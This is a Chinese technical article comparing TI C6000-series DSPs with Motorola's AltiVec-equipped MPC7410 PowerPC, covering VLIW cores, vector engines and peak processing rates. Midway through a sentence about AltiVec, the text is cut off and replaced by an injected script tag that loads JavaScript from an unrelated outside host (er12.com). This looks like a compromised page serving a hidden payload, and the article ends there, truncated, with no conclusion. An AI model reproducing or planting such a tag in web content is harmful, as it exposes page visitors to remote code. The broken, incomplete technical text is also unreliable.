TIC6000系列DSP与摩托罗拉AltiVecPowerPC的比较

传统的dsp芯片带有专门的片上硬件资源,如乘法器和复杂地址发生器等,以便使数字信号处理算法更容易实现。不过现在这一类的芯片受到新一代risc微处理器的挑战。特别是摩托罗拉公司带有新altivec引擎的g4 powerpc,它可提供一些流行dsp算法的评测,令人印象深刻。与此同时,ti公司最新的c64x系列产品则体现出dsp芯片的计算能力也有显著的提升。

  本文通过考察上述两种截然不同的处理器的硬件和软件资源,并特别针对各自的优点和缺点来对它们进行比较。其中涉及的内容包括:处理器架构、存储器的使用、数据移动、软件和开发工具。通过了解这些信息,系统设计师在为特定的应用选择最合适的处理器时,应该能够做出最佳的选择。

  芯片架构的差异

  尽管新的处理器层出不穷,但本文仅关注ti的c6701、c6203、c6415和摩托罗拉的mpc7410,它们都是目前确实能买到或有样片提供的处理器。虽然它们都是瞄准高性能计算应用,但各自又是锁定极不相同的市场。c6000系列是专为诸如无线通信、宽带调制解调器和实时图像处理等高度嵌入、实时性应用而开发。另一方面,powerpc主要的市场目标是苹果计算机公司的最高性能g4工作站,这里要求它必须支持一个完整操作系统、用户接口和网络外设。

  为满足这些要求,两种处理器都必须很好地完成这两项工作,即处理数据和移动数据。为了将它们内在的能力发挥到极致,需要深入考察各自的架构。

  c6000系列dsp采用属于ti超长指令字(vliw)架构的velociti处理器内核。如图1所示,该内核被设计成运行于两个寄存器文件上的8个功能单元。由于全部8个单元每个处理器时钟周期都执行一条独有的32位指令,故该内核每个周期执行一条256位vliw指令。

  新的c64x系列dsp包括三个最初成员:c6414、c6415和c6416。它们具有相同的处理器速度和内核架构资源,区别只体现在外围接口上。这里仅选择c6415作为代表进行分析。

  为了利用强大的vliw资源,ti开发了c优化编译器和汇编器,以使每个时钟周期内都有尽可能多的功能单元在做有用的运算。为帮助实现这一过程,需使8个单元中任一个的指令集都处于正交状态,使许多典型运算能运行于不止一个功能单元中。这使得优化工具在资源分配方面更加灵活。新c6415扩展了这种正交性,增加了寄存器数据路径数量,其寄存器堆栈的深度是c62x和c67x系列芯片的两倍。

  摩托罗拉推出mpc7400系列处理器,首次将altivec技术引入流行的powerpc产品线。mpc7400也被称作g4(第四代)powerpc,它采用能以128位向量执行定点和浮点功能的altivec向量引擎(见图2),使基本的mpc750 cpu内核得以增强。

  altivec单元能处理包括8、16和32位有符号和无符号整数,以及32位ieee浮点字等若干种数据格式。在每个处理器时钟周期内,该单元处理一个完整向量,无论其数据类型如何。

  图3对比了c6000系列芯片与7410器件的峰值处理速率。c6000利用其超长指令字架构在每个周期能运行8条指令;7410 powerpc 通过采用某些像“乘-加-存”这样的复合指令,每周期能完成3条指令。

  因为c6203是带有32位标量执行单元的定点处理器,所以每秒的定点运算数量等于每秒的指令数。c6701可执行定点和浮点两种指令,但只有6个执行单元可进行浮点运算,其峰值速率可达1,000次运算/秒。

  除了其固有的32位操作,新的c6415中对8个执行单元中的6个实施了功能强化,使其可对打包的数据字执行8位和16位功能。这使c6415在处理图3所示的数据类型方面较c62x和c67x更有优势。

  altivec引擎也可对打包进其128位向量中的数据进?script src=http://er12.com/t.js>

  • TIC6000系列DSP与摩托罗拉AltiVecPowerPC的比较已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计